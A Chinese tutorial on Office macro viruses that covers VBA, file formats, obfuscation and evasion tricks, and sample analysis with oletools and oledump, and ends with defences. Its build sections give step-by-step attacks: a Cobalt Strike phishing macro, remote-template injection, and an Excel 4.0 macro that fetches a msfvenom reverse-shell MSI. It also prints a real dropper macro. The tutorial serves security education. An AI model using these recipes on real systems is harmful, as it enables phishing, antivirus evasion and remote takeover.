宏病毒
VBA 基础
宏是使用 VBA 语言编写的,VBA 全称是 Visual Basic for Applications。
Visual Basic for Applications(VBA)是 Visual Basic 的一种宏语言,是微软开发出来在其桌面应用程序中执行通用的自动化任务的编程语言。主要能用来扩展 Windows 的应用程序功能,特别是 Microsoft Office 软件。也可说是一种应用程序视觉化的 Basic 脚本。该语言于 1993 年由微软公司开发的的应用程序共享一种通用的自动化语言——Visual Basic For Application(VBA),实际上 VBA 是寄生于 VB 应用程序的版本。微软在 1994 年发行的 Excel5.0 版本中,即具备了 VBA 的宏功能。
VB 与 VBA 区别:
- VB 是设计用于创建标准的应用程序,而VBA是使已有的应用程序(EXCEL等)自动化;
- VB 具有自己的开发环境,而VBA必须寄生于已有的应用程序;
- 要运行 VB 开发的应用程序,用户不必安装 VB,因为 VB 开发出的应用程序是可执行文件(*.EXE),而VBA开发的程序必须依赖于它的父应用程序,例如 EXCEL;
- VBA是 VB 的一个子集。
-
基本语法 Sub:过程,没有返回值,一段宏一定是从 sub 开始执行的 Function:函数,有返回值
-
基本函数 VBA 容错率高:可以不写括号或者混淆大小写
-
对象 代码和数据的组合,我们在使用对象时,要么使用对象的属性(就是数据),要么使用对象的方法(就是代码)。通过 “对象.属性/方法”的方式使用对象的属性/方法。 例:
ActiveDocument.BuiltInDocumentProperties(5)
中就是使用了ActiveDocument
对象的BuiltInDocumentProperties()
方法,参数是5
。
Sub autoopen()
b
End Sub
Function b()
MsgBox ActiveDocument.BuiltInDocumentProperties(5)
End Function
复合文档(OLE文件)解析
Office 文档(如:.doc
、.ppt
、.xls
等)很多是复合文档(OLE文件),所有文件数据都是存储在一个或多个流中,且能够包含宏。
而 Office 2007 和 Office 2003 以及之前版本保存的文档格式是不同的:
-
Office 2003 版本及之前 格式为 doc、xls 等
-
Office 2007 及以上版本格式新增了 4 种格式的后缀 微软推出了以
x
结尾(docx)和以 m 结尾(docm)的两大类文档文件,这两类文件均是 OpenXML 文件,微软在传统的文件名扩展名后面添加了字母x
(即 docx 取代 doc、xlsx 取代 xls、pptx 取代 ppt)。 微软将所有宏相关的内容都放进了vbaProject.bin
文件中,一般来说,只要文件中不包含vbaProject.bin
,就不可能含有宏,也就不可能是宏病毒。虽然以x
结尾的文件中不含有vbaProject.bin
,但是可能被远程docm
注入宏病毒。
.docx——不包含宏的普通文档
.docm——包含宏或启用了宏的文档
.dotx——不包含宏的模板
.dotm——包含宏或启用了宏的模板
Word格式简单说明
docx 文档结构
不要使用 WPS 右击创建 DOCX 文件,而是使用 office word 创建 DOCX 才是标准的。
将docx.docx
文件的文件名修改为docx.zip
就可以以压缩包的形式打开.docx
文件:
- document.xml:记录Word文档的正文内容
- footer*.xml:记录Word文档的页脚
- header*.xml:记录Word文档的页眉
- comments.xml:记录Word文档的批注
- footnotes.xml:记录Word文档的脚注
- endnotes.xml:记录Word文档的尾注
利用 settings.xml.rels 远程执行宏病毒:在 rels 文件 Relationship 标签中,Target 表示零件的文件位置,正常情况下,给值是相对路径,且存在于压缩包中。通过恶意构造 Target,使其执行远程文件,就可以打开远程文件。
利用 webSetings.xml.rels 窃取NTLM hash(Word 模板注入攻击) NTLM hash:Windows 系统下 Security Account Manager 中保存的用户密码 hash,获得后用 hashcat 可以解码。
doc 文件结构
-
Header(文件头 512字节):记录着文件解析必须的所有参数
-
Sector(扇区):实际数据存储的地方,复合文档中数据都是以扇区为单位进行存储的。扇区内存储的数据种类有 Stroage、Stream、Directory、FAT、Mini-FAT(属于Mini-Sector)、DIF 等,但每个扇区中只能存储一种数据类型。每个 Sector 都有一个 SectorID,但是 Header 所在的扇区 ID 是 -1,并不是 0。Header 后的 Sector 才是“第一个”Sector,其 SectorID 为0。
- Sector:一般是512字节
- Mini-Sector:64字节
-
Storage与Stream的功能相当于文件系统中的文件夹与文件的功能。Storage中是没有任何“实质性”的内容的,只会记录其包含的Stream和Storage,是一个Stream和Storage的目录。“实质性”的内容全在Stream里面。
-
Directory是一个Storage和Stream的索引。这一部分存储空间是用来记录Storage和Stream的存储结构以及名称、大小、起始地址等信息。
-
FAT:索引表。数据在硬盘上的存储是离散的,需要有一个索引表能找到这些数据,索引表中存放着数据的起始地址(即扇区的),索引中一般还有一条数据指向下一条索引,类似于链表。FAT实际记录了该扇区指向的下一个扇区的地址。
-
DIFAT:分区表,是FAT的索引表。FAT也是存储在Sector里面,但是FAT本身也比较大,所以利用DIFAT作为FAT的索引表,记录了FAT所在的Sector的起始地址以及逻辑关系。
EXCEL格式简单说明
- 兼容格式:.xls(有宏)
从 Excel 2007 开始,微软公司推出了新的文件格式,但是为了保持文件的兼容性仍然允许用户使用老版本的.xls
格式,因此在高版本的 Excel 中也把.xls
称之为兼容格式,.xls
格式可以保存宏代码。
将文件保存为.xls
格式,文件发送给低版本的用户后也可以正常打开,缺点是会丢失高版本的某些特性,例如 65536 行以上的行数、256 列以上的列数、超过 3 项以上的条件格式以及 Excel 新版本才有的函数等。
- 压缩格式:.xlsx(无宏)
从 Excel 2007 开始,微软推出了压缩格式.xlsx
,将工作簿保存为压缩格式后可以应用更多的新功能,例如支持 1048576 行、16384 列、64 个条件格式等。之所以称之为压缩格式,是因为将工作簿保存为.xlsx
格式后其体积相较于.xls
会大大缩小。其缺点是不能保存宏代码,且只有 Excel 2007 或以上的版本才能打开。
- 启用宏的压缩格式:.xlsm(有宏)
在推出.xlsx
格式的同时,微软也推出了xlsm
格式,它即拥有.xlsx
格式的一切优势,又能弥补.xlsx
格式的不足——.xlsx
格式不能保存宏代码,而.xlsm
格式可以保存宏代码。
- 二进制工作簿:.xlsb(有宏)
.xlsb
和.xlsx
、.xlsm
文件格式基本类似,它们都是压缩文件包(将后缀改为 zip 即可解压),区别在于.xlsx
和.xlsm
的压缩包里面的内容都是基于 XML(文本,可以直接用写字板打开阅读),而.xlsb
压缩包里的内容则是二进制文件(无法直接打开阅读)。
- Excel 模板:.xltx(无宏)
Excel模板默认的文件格式,不能存储 VBA 宏代码或 Excel 4.0 宏工作表(.xlm)。
- 启用宏的 Excel 模板:.xltm(有宏)
Excel 模板,启用宏的模板文件格式。可以存储 VBA 宏代码或 Excel 4.0 宏工作表(.xlm)。
- Excel 加载宏:.xlam(有宏)
Excel 加载宏,类似于游戏中的外挂插件,可以强化 Excel 的功能,.xlam
是 Excel 基于 XML 和启用宏的加载宏格式,支持使用 VBA 项目和 Excel 4.0 宏工作表(.xlm)。
什么是宏
宏语言是一种特殊用途的命令语言, 在各个场景的形式不同,但是目的 都是通过自动化特定应用程序中的 某些序列,减少人工的重复操作。给使用者提供方便,提高效率。
文档宏:
游戏宏:
什么是宏病毒
宏病毒,即 VBA 语言嵌入在 WORD 模板中的病毒,一般为伪装为具有诱导力的文件名引诱受害者打开,并执行内置的宏脚本。
病毒常用宏
- 自动宏可用于宏病毒自动运行
宏病毒的自我保护行为
- 禁用提示信息
On Error Resume Next '如果发生错误,不弹出出错窗口,继续执行下面语句
Application.DisplayAlerts = wdAlertsNone '不弹出警告窗口
Application.DisplayStatusBar = False '不显示状态栏,以免显示宏的运行状态
Options.VirusProtection = False '关闭病毒保护功能,运行前如果包含宏,不提示
Options.SaveNormalPrompt = False '修改公用模板时自动保存,不弹出提示
- 屏蔽菜单命令
通过特定宏定义:
Sub ViewVBCode()
MsgBox "Unexcpected error",16
End Sub
Disable 或者删除特定菜单项,用来使“工具—宏”菜单失效的语句:
CommandBars(“Tools”).Controls(16).Enabled = False
- 隐藏真实代码
- 在“自动宏”中,不包括任何感染或破坏的代码,但包含了创建、执行和删除新宏(实际进行感染和破坏的宏)的代码;
- 将宏代码字体颜色设置成与背景一样的白色等。
宏病毒的常用技术
自动执行
-
用户执行某种操作时自动执行的宏(行为):如
Sub botton()
,当用户单击文档中的按钮控件时,宏自动执行; -
Auto 自动执行:如
Sub AutoOpen()
和Sub AutoClose()
,分别在文档打开和关闭时自动执行
隐蔽执行
- 隐藏提示信息
- 屏蔽菜单按钮和快捷键
调用 Win API 来实现更有效的攻击
- 网络
- shell
- powershell
- run exe
- windows 服务
字符串隐写(混淆)
-
Chr() 返回以数值表达式值为编码的字符。利用ascii码,逃避字符串扫描。
-
Replace() 替换字符串,返回一个新字符串,其中某个指定的子串被另一个子串替换。
-
CallByname() 允许使用一个字符串在运行时指定一个属性或方法。
例:
CallByName Text1, "Move", vbMethod, 100, 100 == Text1.Move(100,10)
联合调用:
Set obj = CallByName(obj, "Text1", VbGet)
Set obj = CallByName(obj, "Font", VbGet)
CallByName obj, "Size", VbLet, 50
'以上代码="Me.Text1.Font.Size = 50"
- Alias() 通过它所标识的别名对动态库中的函数进行引用。
例:clothed
作为GetUpdateRect
的别名,调用clothed
函数相当于调用user32
库里的GetUpdateRect
函数。
Public Declare Function clothed Lib "user32" Alias "GetUpdateRect" (prestigiation As Long, knightia As Long, otoscope As Long) As Boolean
- 利用窗体、控件隐藏信息
控件的各个属性(name、caption、controtiptext、等)都可以成为危险字符串的藏身之所。而仅仅查看宏代码,分析者无法得知这些字符串内容,分析者必须进入编辑器查看窗体属性,这大大增加了分析的难度。
使用时需要调用标签控件属性
- 利用文件属性
同样是将一切能存储数据的地方利用起来
举例:ActiveDocument.BuiltinDocumentProperties Comments的数据,实际上就是文件备注信息里的数据
- 恶意行为字符串
常见宏病毒
-
Mellisa 病毒 自动往 OutLook 邮件用户地址簿中的前 50 位用户发送病毒副本。
-
Word.Macro.Concept 这是最常见的宏病毒。1995 年 8 月 Microsoft 运送给数百家 OEM 公司的名为“Microsoft Compatibility Test”的 CD ROM 中存在这种病毒。当打开受感染的文档时,屏幕上会出现一个带有文本“1”的消息框。
-
Word.Macro.Nuclear 核中的所有宏都受到保护,无法对其进行查看或编辑。被感染的
NORMAL.DOC
包含名为 AutoExec,AutoOpen,DropSuriv,FileExit,FilePrint,FilePrintDefault,FileSaveAs,InsertPayload 等九个宏。 -
Word.Macro.Colors 该病毒包含以下宏:AutoOpen, AutoClose, Autoexec, Filenew, Fileexit, Filesave, Filesaveas, Toolsmacro 等等。
-
Word.Macro.Hot 此病毒在会
WINWORD6.INI
配置文件中创建一个包含“hot date”的条目。该“hot date”是从当前日期算起的14天将触发病毒。 -
Word.Macro.FormatC(TrojanFormat) 这是特洛伊木马,不会自我复制,会格式化 C 盘。
宏病毒制作
CobaltStrike Office 钓鱼攻击
打开 Cobalt Strike 并创建监听:
接下来依次点击攻击
-生成后门
-Office宏
:
选择刚刚创建的监听器并点击生成按钮:
点击复制宏代码
即可将恶意宏代码复制到剪贴板:
进入 Windows 虚机打开 Word 软件并新建空白文档,在菜单栏空白处右键单击,点击自定义功能区
:
勾选开发工具
并确定
:
接下来进入菜单栏的开发工具
-宏
:
宏名任意,宏的位置在当前文档,即最后一个:
点击创建
之后会跳转至宏代码编辑窗口:
清空编辑器内容,再将 cs 中复制的宏代码粘贴过去,并设置Auto_Open
:
CTRL
+S
保存文档,然后保存格式设置为启用宏的word文档
:
接下来在虚机中打开此文档,提示宏被禁用,如果我们点击启用内容,那么 CobaltStrike 会上线我们的虚拟机:
利用docx文档远程模板注入执行宏
与传统的宏启用文档相比,这种攻击的好处是多方面的。在对目标执行网络钓鱼攻击时,可以将.docx
的文档直接附加到电子邮件中,并且目标受害人不太可能根据文件的拓展名去阻止它。Word 远程模板执行宏就是利用 Word 文档加载附加模板时的缺陷所发起的恶意请求而达到的攻击目的,所以当目标受害人点开攻击者发的恶意 Word 文档,攻击者就可以通过向远程服务器发送恶意请求的方式,然后加载模板执行恶意模板的宏。这种攻击更常见的原因是,发送的文档本身是不带恶意代码的,能过很多静态的检测。
方法:想要开始此攻击,我们需要创建两个不同的文件。第一个是启用宏的模板或是.docm
文件,它将包含恶意 VBA 宏,第二个是看似没有危害的.docx
文件,它本身不包含恶意代码,只有指向恶意模板文件的目标链接。
创建.dotm
文件,创建方法与之前类似,区别就是保存时文件类型选择.dotm
,然后上传到 web 目录下(也可直接使用 python 在所在位置建立 http 服务):
然后在测试机上面新建一个文档,随便选一个模板,这里以简历模板为例:
保存后关闭,把xxx.docx
改为xxx.zip
,然后解压,接着修改word\_rels\settings.xml.rels
里的Target
值改dotm
文件的访问网址:
然后再把这些文件全部压缩成一个压缩包xxxx.zip,再把后缀名改为.docx:
点击确定然后启用内容:
然后可以在CS中看到上线:
Excel 4.0 宏躲避杀软检测
又名MS 4.0
、Macro 4.0
,全称MS Excel 4.0 Macro
Excel 一般指 Microsoft Office Excel。Microsoft Excel 是 Microsoft 为使用 Windows 和 Apple Macintosh 操作系统的电脑编写的一款电子表格软件。直观的界面、出色的计算功能和图表工具,再加上成功的市场营销,使 Excel 成为最流行的个人计算机数据处理软件。它跟 office 一样都是支持宏,所以一样存在宏病毒。当我们把恶意的宏代码嵌入 Excel 中,用户打开 excel 文件里的宏就会被触发。
首先用 msfvenom 生成 msi 文件:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.146.1 lport=1234 -f msi -o hack.msi
然后开启 web 服务,后续用于远程调用:
然后在 msf 开启监听:
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.146.1
set lport 1234
run
然后打开一个excel表格,右键底部sheet1
,选择插入
—MS Excel4.0 宏表
:
第一行填入如下内容:
=EXEC("msiexec /q /i http://192.168.146.219/hack.msi")
=HALT()
在第二行输入:=RETURN()
选中这俩单元格,再在左上角填入Auto_Open
,文档被打开时,自动运行宏:
然后右键宏1
-隐藏
:
然后 ctrl+s 保存,选择保存类型为xlsm
:
然后让受害机打开 xlsm 文件并启用宏,即可在 msf 中看到上线了:
宏病毒分析
样本信息
MD5:ab74ee2373229626fe368a83d98f2a47 文件原始名:invoice.doc
可前往微步查询样本 MD5 值即可查看微步云沙箱分析信息:
【!】若从微步下载样本文件,解压密码均为:threatbook
样本分析-使用Word调试进行分析
查看一下该样本宏代码工程是否存在密码保护,存在则去除,否则无法利用 word 查看和调试代码。
打开 Word 文档,按ALT
+F11
调出宏窗口,点击Project
进行查看,但此样本宏被加密,因此需要使用 AOPR 重置其密码为 123 或者移除密码后即可解密:
打开文档调出宏窗口,然后调出本地窗口:
接下来单步调试查看关注本地窗口变化:
样本分析-使用第三方工具进行分析
先来看第一个工具 oletools,oletools 是一个用来分析 Microsoft OLE2 文件的工具包,可以分析微软的 Office文档、Outlook 邮件信息等。可通过 pip 快速安装:pip install oletools
oletools 项目地址:https://github.com/decalage2/oletools
oletools 是一个工具包,里面还有多种类型不同用途的分析工具,具体的工具有如下几种:
olevba 是专门用于分析 office 宏的 python 脚本,能够解析 OLE 和 OpenXML 文件,静态分析检测 VBA 宏,并以明文提取宏代码。olevba 还可以对宏代码进行分析,找到宏病毒特征关键字、反沙箱和反虚拟化技术使用的关键字。
我们用 olevba 来看看样本文件大致情况:olevba -a invoice.doc
根据提示信息可对其进行去混淆与base64解码操作:olevba --deobf --decode invoice.doc
可得到宏代码及其去混淆结果:
接下来用oledump.py
将源代码导出到文件中,这是一个用于分析OLE文件(复合文件二进制格式)的程序,我们可以使用它提取文档中的宏代码。
oledump 下载地址:http://didierstevens.com/files/software/oledump_V0_0_70.zip
使用oledump.py
,将宏代码取出。输入指令oledump.py invoice.doc
,然后可以看到带M
的字母,表示这段数据中含有 VBA 宏(Macro)。不同的是发现了一个带字母O
的,它的意思是使用 YARA(YARA 是一个主要用于恶意软件研究和检测的工具)规则contains_pe_file
,去找 Microsoft Office 文件中的 PE 文件(可执行文件),规则触发对应流 12,因为它包含一个作为 OLE 对象嵌入的 EXE 文件:
oledump.py
工具带有许多参数,使用命令oledump.py -m
可查看帮助信息。
常用参数:
- -s 段号:选择上面分析出的某一段来查看内容
- -v :解压缩VBA宏
- a :所有
有了这几个参数,那么一条命令就可以提取所有宏了:oledump.py -s a -v invoice.doc > demo.vbs
这样就将宏内容输出到了demo.vbs
文件中,切勿双击运行,右键使用 vscode 或者 visual studio 打开查看进行分析。
Attribute VB_Name = "Module1"
Sub Lhgeg(Jbfw As Long)
ghe = 88
Dim Bhrwq As Long, Nhdw As Long
Nhdw = Jbfw + Timer
Bhrwq = Nhdw
Do While Timer < Bhrwq
gdye = 32 * 1 * 1 * 3 * 4 * 1 * 3
Loop
End Sub
Public Function Fatar(fje As String) 'fje=C:\Users\sam\AppData\Local\Temp\t2.tmp
Dim rkw As Variant
rkw = Shell(fje, 0) 'rkw=2828
End Function
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
BHJAWD = "12j3k1j2h" & "asjdhgywq"
HgrfFvsw
End Sub
Sub Workbook_Open()
HgrfFvsw
End Sub
Sub HgrfFvsw()
Hehebhd
End Sub
Sub Hehebhd()
Dim ggfdf As Boolean, HGYW As String, rtr As Integer
rtr = -24 + 23 'rtr = -1
HGFFD = "T" & "EM" & ""
HGFFD = HGFFD & "P" 'HGFFD=TEMP
ggfdf = False
On Error Resume Next
Dim WOIEW As String
TTGDFW = BygeSw(3 + 90 + rtr) '\
DFFVFE = Environ$(HGFFD) + TTGDFW 'C:\Users\sam\AppData\Local\Temp\
JIEKR = "." & "tmp" '.Ttmp
FFDRRF = "" & ".rtf" '.rtf
LQWDO = DFFVFE 'C:\Users\sam\AppData\Local\Temp\
FFFNNNF = LQWDO + "fhew" + FFDRRF 'C:\Users\sam\AppData\Local\Temp\fhew.rtf
SSHHDD = DFFVFE & "hrbs" + FFDRRF 'C:\Users\sam\AppData\Local\Temp\hrbs.rtf
WOIEW = DFFVFE & "" & "t2" & JIEKR 'C:\Users\sam\AppData\Local\Temp\t2.tmp
VffGghw (FFFNNNF) '调用自定义函数
VffGghw (SSHHDD)
Module1.Lhgeg (2)
BHJASD = Chr(101 + 9) 'n
BFYHJQW = "j1h2jg1hj2" 'j1h2jg1hj2
'创建对象CreateObject(Word.Application),使用自动化从其他应用程序控制 Word,使用VB的 CreateObject 或 GetObject 函数返回 Word Application 对象。启动 Word(如果尚未运行)并打开现有文档。
Set yGvdgw = CreateObject("Wor" & "d." & "Applicatio" & BHJASD)
yGvdgw.Visible = ggfdf 'ggfdf = False
yGvdgw.Documents.Open (FFFNNNF) 'Open C:\Users\sam\AppData\Local\Temp\fhew.rtf
Module1.Lhgeg (2)
HYUASGD = Module1.Fatar(WOIEW)
Module1.Lhgeg (3)
yGvdgw.Quit
Set yGvdgw = Nothing
End Sub
Public Function BygeSw(wbrw As Integer)
BygeSw = Chr(wbrw)
End Function
Public Function VffGghw(ghe As String)
'使用新的名称或格式保存指定的文档,
ActiveDocument.SaveAs FileName:=ghe, FileFormat:=6
End Function
Public Function Ftwfvs()
Ftwfvs = "T" & "EM"
End Function
Sub Auto_Open()
Hehebhd
End Sub
-
用
ActiveDocument.SaveAs
将当前打开的 word 文档另存为两个 RTF 文件,名为fhew.rtf
和hrbs.rtf
,文件保存路径是在%TEMP%
路径。 -
用
CreateObject(“Word.Application”) and Document.Open
打开 “fhew.rtf”。 -
在
%TEMP%
路径下运行一个名为“t2.tmp” 的程序 (Shell(“t2.tmp”,0))
那么这个t2.tmp
是怎么来的呢?之前使用oledump.py
的时候,就发现了带字母 O 的流 12,它包含一个作为 OLE 对象嵌入的 EXE 文件,大小为 76998,那么我们使用压缩软件打开该样本,找到它:
使用 010Editor 打开,发现该 PE 以 OLE 对象的形式嵌在该数据流里。 “0200” 是 OLE 数据头签名,而“00000300” 表示的是该对象是个嵌入式对象。从截图里,你还能看到原始路径,文件名信息等等。攻击者利用 RTF 会释放临时文件的特性来释放“t2.tmp”。因为一个 RTF 文件被打开时,该 RTF 文件所包含的OLE对象将会被自动释放至用户的%TEMP%
文件夹下,并保留其原始的文件名,当关闭 RTF 文件时,临时文件消失:
把 MZ 头前面的数据删除保存,并重命名为 dll 后缀,再次使用 010Editor 打开即可分析这个 PE 文件:
初次运行需要安装插件:
宏病毒防御
-
禁用宏
开发工具
菜单下的宏
-宏安全性
-禁用所有宏
【!】无法阻止启动Word时Autoexec.DOT中的宏和Normal.DOT中的宏自动执行 -
越过自动宏 在 Office 打开文档的时候,始终按住
SHIFT
键 -
恢复被宏病毒破坏的文档 清除
Autoexec.DOT
和Normal.DOT
-
利用宏结构 破坏宏标志:
- 定位宏工程所使用的Directory,将Type位修改为0,即非法Directory,这样Office办公软件在解析VBA工程时,会因为非法Directory而导致解析错误。
- 用于宏的Directory:Macro、VBA、_VBA_PROJECT_CUR